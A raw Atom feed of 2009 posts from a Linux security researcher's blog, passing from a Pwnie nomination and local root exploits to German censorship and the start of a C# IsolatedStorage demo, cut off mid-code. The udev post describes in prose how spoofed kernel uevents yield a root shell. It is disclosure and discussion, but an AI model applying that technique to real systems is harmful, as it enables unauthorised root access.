src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8410083625439729436</id><published>2009-07-30T01:59:00.000-07:00</published><updated>2009-07-30T02:29:34.075-07:00</updated><title type='text'>pwned</title><content type='html'>&lt;span style="font-family: courier new;"&gt;Today I proudly realized, while viewing Referer logs, I&lt;br /&gt;have been nominated for the &lt;span style="font-style: italic;"&gt;Best Privilege Escalation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Bug&lt;/span&gt; in the &lt;a href="http://pwnie-awards.org/2009/nominees.html#bestprivescalation"&gt;pwnie-awards&lt;/a&gt; for discovering and exploiting&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;CVE-2009-1185 (udev). The story behind that is that&lt;br /&gt;I was frustrated to have no root-sex within the last&lt;br /&gt;6 months or so (since postfix) and therefore&lt;br /&gt;I started reviewing the glibc ELF loader for such which lead me&lt;br /&gt;somehow to certain daemons such as &lt;span style="font-weight: bold;"&gt;nscd&lt;/span&gt; followed by&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;hald&lt;/span&gt; and finally &lt;span style="font-weight: bold;"&gt;udevd&lt;/span&gt;. I quickly realized that it missed&lt;br /&gt;important checks but the impact was unknown to me since&lt;br /&gt;it kindly denied my exploitation offers until I found my way in.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;You might be surprised to hear that I am not really&lt;br /&gt;a security guy and used to stay away from sec-con events,&lt;br /&gt;even though I work in that field.&lt;br /&gt;I rather see myself as a programmer with interest in coding&lt;br /&gt;and reading other peoples code and its often funny to&lt;br /&gt;watch and follow discussions by the "security professionals".&lt;br /&gt;&lt;br /&gt;The thing that makes me actually commenting on this is the&lt;br /&gt;nice coincide with the nomination of my hero &lt;a href="http://pwnie-awards.org/2009/nominees.html#lifetime"&gt;Solar Designer&lt;/a&gt;. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8410083625439729436?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8410083625439729436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8410083625439729436' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8410083625439729436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8410083625439729436'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/07/pwned.html' title='pwned'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8530454624476761326</id><published>2009-07-29T02:29:00.000-07:00</published><updated>2009-07-29T02:31:57.651-07:00</updated><title type='text'>unreadable comments</title><content type='html'>&lt;span style="font-family: courier new;"&gt;Its possible that its just spam, but I receive a lot&lt;br /&gt;of chinese/japanese or whatever comments to my postings.&lt;br /&gt;Since I wont approve what I dont understand, I cannot&lt;br /&gt;approve these. So, please comment either in deutsch&lt;br /&gt;or in english.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8530454624476761326?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8530454624476761326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8530454624476761326' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8530454624476761326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8530454624476761326'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/07/unreadable-comments.html' title='unreadable comments'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8038860214079883272</id><published>2009-07-19T02:35:00.000-07:00</published><updated>2009-07-19T03:09:52.920-07:00</updated><title type='text'>A .note on local root exploits</title><content type='html'>&lt;span style="font-family: courier new;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;There happened a lot of weird things and discussions&lt;br /&gt;during the last week. Not only a silly kernel/gcc&lt;br /&gt;combination attack was published by my favorite VJ;&lt;br /&gt;also a second issue was released by the google sec-team,&lt;br /&gt;which unfortunally was inside the same program that &lt;span style="font-style: italic;"&gt;spender&lt;/span&gt;&lt;br /&gt;used as an attack vector in one of the videos.&lt;br /&gt;&lt;br /&gt;At the end, its nice that there are (thanks god, I am not&lt;br /&gt;alone in this world!) people who seem to like/care&lt;br /&gt;about local root exploits. You should definitely&lt;br /&gt;have a look at &lt;a href="http://blog.cr0.org"&gt;Julien's blog&lt;/a&gt; (pulseuadio as well&lt;br /&gt;as the &lt;span style="font-style: italic;"&gt;mmap_min_addr&lt;/span&gt; postings).I feel like _uh,ohhh_&lt;br /&gt;that theres actually some people doing real things&lt;br /&gt;beside all the web 2.o, XSS and similar sillyness.&lt;br /&gt;&lt;br /&gt;As you might know (or not, who cares :) I like local&lt;br /&gt;root exploits. Every now and then I try to find some,&lt;br /&gt;and sometimes I am even successful. Not only two times&lt;br /&gt;so far, as some blogs try to suggest. :-)&lt;br /&gt;Surprinsingly it is not much harder than 10 years ago,&lt;br /&gt;if we do not count overflow/memory corruption bugs.&lt;br /&gt;The bugs just get more silly and most of the time they&lt;br /&gt;require a combination of multiple minor flaws. But&lt;br /&gt;thats exactly what makes the beauty of local root exploits.&lt;br /&gt;&lt;br /&gt;Some people do not honour them. They argue that only&lt;br /&gt;remote exploits are of interest. But these people probably&lt;br /&gt;never run a cluster or one of the top500's or found themself&lt;br /&gt;removing ssh backdoors on a weekend instead of having fun.&lt;br /&gt;&lt;br /&gt;A local vulnerability deservs the same update urgency&lt;br /&gt;as remote ones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8038860214079883272?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8038860214079883272/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8038860214079883272' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8038860214079883272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8038860214079883272'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/07/note-on-local-root-exploits.html' title='A .note on local root exploits'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4088874148683050398</id><published>2009-07-15T03:33:00.000-07:00</published><updated>2009-07-15T03:47:20.176-07:00</updated><title type='text'>NULL ptr derefs are out!</title><content type='html'>&lt;span style="font-family: courier new;font-family:lucida grande;" &gt;Today, I was diving through some foreign code, and this made me remember my&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:lucida grande;" &gt;own mistakes:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ((start = strchr (start, &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;'&amp;lt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                start += &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (!start || !*start)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                        &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;break&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;funny, eh?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4088874148683050398?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4088874148683050398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4088874148683050398' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4088874148683050398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4088874148683050398'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/07/null-ptr-derefs-are-out.html' title='NULL ptr derefs are out!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4141158857224546302</id><published>2009-05-05T07:38:00.000-07:00</published><updated>2009-05-05T07:45:54.359-07:00</updated><title type='text'>Do not follow me on twitter</title><content type='html'>&lt;span style="font-family: courier new;"&gt;I just grabbed a login on twitter but I am probably&lt;br /&gt;not going to publish something there. Its just&lt;br /&gt;a place holder.&lt;br /&gt;&lt;br /&gt;I reviewed a lot of messaging code (&lt;span style="font-style: italic;"&gt;hal, upstart&lt;/span&gt; etc.) during the last few weeks&lt;br /&gt;as a post-handling of the &lt;span style="font-style: italic;"&gt;udev&lt;/span&gt; issue. I learned a lot and&lt;br /&gt;thats great, but no new &lt;span style="font-weight: bold;"&gt;interesting&lt;/span&gt; issues so far.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4141158857224546302?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4141158857224546302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4141158857224546302' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4141158857224546302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4141158857224546302'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/05/do-not-follow-me-on-twitter.html' title='Do not follow me on twitter'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3637056147158232631</id><published>2009-04-18T01:34:00.000-07:00</published><updated>2009-04-18T01:54:21.663-07:00</updated><title type='text'>New WWW censorship (f)laws in .de</title><content type='html'>&lt;span style="font-family: courier new;"&gt;I am usually not into politics, but today its necessary and I&lt;br /&gt;hope I am not forced too often to write such statements.&lt;br /&gt;Its about the german government introducing censorship&lt;br /&gt;into the WWW while big companies spy on their employees.&lt;br /&gt;Instead of bringing law to the people, flaw is brought to&lt;br /&gt;the people.&lt;br /&gt;&lt;br /&gt;Das Ministerium für Gedöhns (O-Ton Ex-Bukasch) hat es geschafft&lt;br /&gt;die deutschen Internetprovider zu Leymen. Brav unterzeichnen sie&lt;br /&gt;in der Majorität Knebelverträge mit dem BKA (Quelle Wikileaks).&lt;br /&gt;Komisch wie schnell soetwas geht, während Datenskandalen&lt;br /&gt;und Misswirtschaft anscheinend nicht beizukommen ist.&lt;br /&gt;Es ist wohl alles nur eine Frage des richtigen Leyms.&lt;br /&gt;Nach bekanntem Muster werden mal wieder eine handvoll Perversitäten&lt;br /&gt;oder Terroristen als Anlass genommen den Bürger noch&lt;br /&gt;ein Stück mehr zu gängeln.&lt;br /&gt;&lt;br /&gt;Mich würde rein technisch interessieren wieviel Latenz bereits&lt;br /&gt;jetzt durch genannte Sperren, Filter, Bundestrojaner,&lt;br /&gt;Vorratsdatenspeicherung, Legal-Interception Implementierungen usw.&lt;br /&gt;verloren geht. Wahrscheinlich ruft mich die T deshalb drei&lt;br /&gt;mal die Woche an, ob ich nicht auf VDSL upgraden möchte.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3637056147158232631?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3637056147158232631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3637056147158232631' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3637056147158232631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3637056147158232631'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/04/new-www-censorship-flaws-in-de.html' title='New WWW censorship (f)laws in .de'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2897785016762269699</id><published>2009-04-16T01:57:00.000-07:00</published><updated>2009-04-17T01:58:50.939-07:00</updated><title type='text'>udev trickery (CVE-2009-1185 and CVE-2009-1186)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DbsW_SGQJgI/Seb1xsEEHhI/AAAAAAAAAGQ/ynt0ge-WpTY/s1600-h/f10-youdev.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_DbsW_SGQJgI/Seb1xsEEHhI/AAAAAAAAAGQ/ynt0ge-WpTY/s400/f10-youdev.jpg" alt="" id="BLOGGER_PHOTO_ID_5325213843402792466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;While the &lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;security industry &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;is making weird statements about&lt;br /&gt;no-more-free-hugs and&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; OSX vs. Windows exploitation fun,&lt;br /&gt;I add my two cents on UNIX exploitation.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;There have been two problems in all currently running &lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;udevd&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;'s&lt;br /&gt;which are shipped on&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; all major Linux distributions. Even if you&lt;br /&gt;install &lt;/span&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;selinux&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; or other hardening mechanisms,&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; you are at risk&lt;br /&gt;(please see above screenshot on a targeted selinux config).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;The first problem (CVE-2009-1185) appears since the origin of&lt;br /&gt;KOBJECT_UEVENT&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; messages are not verified, so any user can spoof&lt;br /&gt;messages that udevd takes&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; as granted from kernel. This allows&lt;br /&gt;some trickery to create a device named&lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt; /dev/random&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; with permission&lt;br /&gt;&lt;span style="font-style: italic;"&gt;0666&lt;/span&gt; but major and minor number of your&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; root blockdevice. The rest&lt;br /&gt;is code. Alternatively, CVE-2009-1186 could be exploited&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;which is a standard stack buffer overflow. Depending on the&lt;br /&gt;configuration of the system&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; CVE-2009-1185 can also be exploited&lt;br /&gt;with weird network interface-names and&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; alike so at the end,&lt;br /&gt;chrooted/jailed or PrivSep'ed users have good chance to get a full rootshell.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2897785016762269699?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2897785016762269699/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2897785016762269699' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2897785016762269699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2897785016762269699'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/04/udev-trickery-cve-2009-1185-and-cve.html' title='udev trickery (CVE-2009-1185 and CVE-2009-1186)'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DbsW_SGQJgI/Seb1xsEEHhI/AAAAAAAAAGQ/ynt0ge-WpTY/s72-c/f10-youdev.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8544642305299465204</id><published>2009-03-24T08:16:00.000-07:00</published><updated>2009-03-24T08:45:08.416-07:00</updated><title type='text'>sharpen your .NET skills</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DbsW_SGQJgI/Scj9iBRDVFI/AAAAAAAAAGI/HQEix2KGejI/s1600-h/is.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 150px;" src="http://2.bp.blogspot.com/_DbsW_SGQJgI/Scj9iBRDVFI/AAAAAAAAAGI/HQEix2KGejI/s400/is.jpg" alt="" id="BLOGGER_PHOTO_ID_5316778121008206930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;I have had dozens of discussions about C#; being a secure&lt;br /&gt;language and that CLR/VM based languages should be used&lt;br /&gt;with new projects in order to increase security. One argument&lt;br /&gt;is that memory corruption can't happen any longer.&lt;br /&gt;I agree, but always point out that C# code is not secure&lt;br /&gt;automagically, even if the programmers code is correct.&lt;br /&gt;The runtime might be buggy as well! I recently read an&lt;br /&gt;article in the famous german iX magazine about security measurements&lt;br /&gt;in .NET. One of the measures is the so called &lt;span style="font-style: italic;"&gt;IsolatedStorage&lt;br /&gt;&lt;/span&gt;which allows you to store data in a secure way. Much like&lt;br /&gt;a database, based on a token you can store/retrieve data&lt;br /&gt;without your real filesystem being at risk. Nice thing,&lt;br /&gt;and I coded an example-server:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Net&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Net&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Sockets&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Text&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IO&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IO&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IsolatedStorage&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Server {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;private&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;static&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;store&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;string&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; key, Byte[] b)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;try&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Isolated storage @ {0}"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, key);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  IsolatedStorageFileStream fs = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IsolatedStorageFileStream&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(key, FileMode.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Create&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  fs.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Write&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(b, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, b.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  fs.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Close&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          } &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;catch&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Exception!"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 